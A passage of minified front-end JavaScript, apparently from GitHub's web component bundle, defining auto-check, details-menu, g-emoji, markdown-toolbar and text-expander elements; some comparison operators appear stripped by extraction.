CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const 